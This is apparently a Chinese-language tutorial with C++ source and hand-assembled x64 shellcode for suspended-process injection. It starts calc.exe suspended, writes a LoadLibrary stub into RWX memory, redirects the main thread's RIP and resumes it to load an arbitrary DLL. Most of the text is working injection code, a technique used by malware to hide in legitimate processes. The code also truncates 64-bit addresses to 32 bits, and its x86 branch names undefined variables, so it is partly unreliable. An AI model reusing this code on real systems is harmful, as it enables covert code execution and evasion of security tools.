挂起进程注入,注入手段利用LoadLibrary
1 CreateProcess时,指定参数CREATE_SUSPENDED。这样将新创建的进程挂起(不运行)
2 获取进程的主线程的上下文环境。注意因为是以挂起方式创建进程,所以主线程默认是挂起的
3 写入shellcode到目标进程
4 修改主线程的上下文环境中的rip/eip
5 设置新的上下文环境
6 恢复线程执行
#include "stdafx.h"
#include <Windows.h>
#define CODE_SIZE 40 //code 后面应该紧接着数据
CHAR shellcode[] = {
0x68, 0x78, 0x56, 0x34, 0x12, //push org rip 这里需要修正
0x41, 0x51, //push r9
0x41, 0x50, //push r8
0x52, //push rdx
0x51, //push rcx
0x50, //push rax
0x48, 0x83, 0xEC, 0x28, //sub rsp, 28
0xB9, 0x78, 0x56, 0x34, 0x12, //mov ecx, 0x12345678 这里需要修正
0xB8, 0x78, 0x56, 0x34, 0x12, //mov eax, LoadLibrary 这里需要修正
0xFF, 0xD0, //call rax
0x48, 0x83, 0xC4, 0x28, //add rsp, 28
0x58, //pop rax
0x59, //pop rcx
0x5A, //pop rdx
0x41, 0x58, //pop r8
0x41, 0x59, //pop r9
0xC3, //ret 返回到原来的Rip, 这里很关键
//offset = 40 分页地址是对齐的,数据放在这里应该也是对齐的, 一行25个字节,10行250个字节,存放DLL路径够用了
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
};
//修复shellcode中的两处绝对地址
//oldRip 线程挂起前的RIP
//pfn Messagebox的地址
//偷懒起见, 这里利用for循环找0x12345678,找到了就修复,否则需要去数数比较麻烦
void FixShellCode(DWORD oldRip, DWORD lpParam, DWORD pfnLoadLibrary){
for (int i = 0; i < sizeof(shellcode); ++i){
if (*(DWORD *)(shellcode + i) == 0x12345678){
*(DWORD *)(shellcode + i) = oldRip;//修复RIP
break;
}
}
for (int i = 0; i < sizeof(shellcode); ++i){
if (*(DWORD *)(shellcode + i) == 0x12345678){
*(DWORD *)(shellcode + i) = lpParam;//修复LoadLibrary的参数
break;
}
}
for (int i = 0; i < sizeof(shellcode); ++i){
if (*(DWORD *)(shellcode + i) == 0x12345678){
*(DWORD *)(shellcode + i) = pfnLoadLibrary;//修复LoadLibrary的地址
break;
}
}
}
int _tmain(int argc, _TCHAR* argv[])
{
LPVOID pszRemoteBuffer = NULL;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT context = { 0 };
SIZE_T dwWriten = 0;
si.cb = sizeof(STARTUPINFO);
si.wShowWindow = SW_SHOWDEFAULT;
//1 以挂起的方式创建进程,这里注入计算器
BOOL bRet = CreateProcess("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
NULL, NULL, &si, &pi);
if (!bRet)
{
printf("CreateProcess 失败");
return -1;
}
//2 获取线程上下文
context.ContextFlags = CONTEXT_FULL;
bRet = GetThreadContext(pi.hThread, &context);
if (!bRet)
{
printf("GetThreadContext 失败");
return -1;
}
//3 申请内存
pszRemoteBuffer = VirtualAllocEx(pi.hProcess, NULL, USN_PAGE_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (pszRemoteBuffer == NULL)
{
printf("VirtualAllocEx 失败");
return-1;
}
printf("pszRemoteBuffer=%p shellcode size=%d\n", pszRemoteBuffer, sizeof(shellcode));
//4 修复shellcode中的几个绝对地址
strcpy(shellcode + CODE_SIZE, "D:\\VS\\DllToInject\\x64\\Release\\InjectDll.dll");
FixShellCode(context.Rip, (DWORD)pszRemoteBuffer + CODE_SIZE, (DWORD)LoadLibrary);
//5 在远程申请的内存空间中写入shellcode
if (!WriteProcessMemory(pi.hProcess, pszRemoteBuffer, shellcode, sizeof(shellcode), &dwWriten))
{
printf("写入shellcode失败");
goto SAFE_EXIT;
}
printf("shellcode write bytes:%d\n", dwWriten);
printf("rip=%p\n", context.Rip);
#ifdef _WIN64
context.Rip = (DWORD)pszRemoteBuffer;
#else
newContext.Eip = (DWORD)g_lpBuffer;
#endif
printf("rip=%p\n", context.Rip);
//6 设置新的上下文
bRet = SetThreadContext(pi.hThread, &context);
if (!bRet)
{
printf("SetThreadContext 失败");
goto SAFE_EXIT;
}
//7 唤醒主线程
bRet = ResumeThread(pi.hThread);
if (bRet == -1)
{
printf("ResumeThread 失败 Errcode=%d\n", GetLastError());
goto SAFE_EXIT;
}
//等shellcode运行完毕,然后再释放内存 VirtualFreeEx
Sleep(3000);
SAFE_EXIT:
VirtualFreeEx(pi.hProcess, pszRemoteBuffer, USN_PAGE_SIZE, MEM_DECOMMIT);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}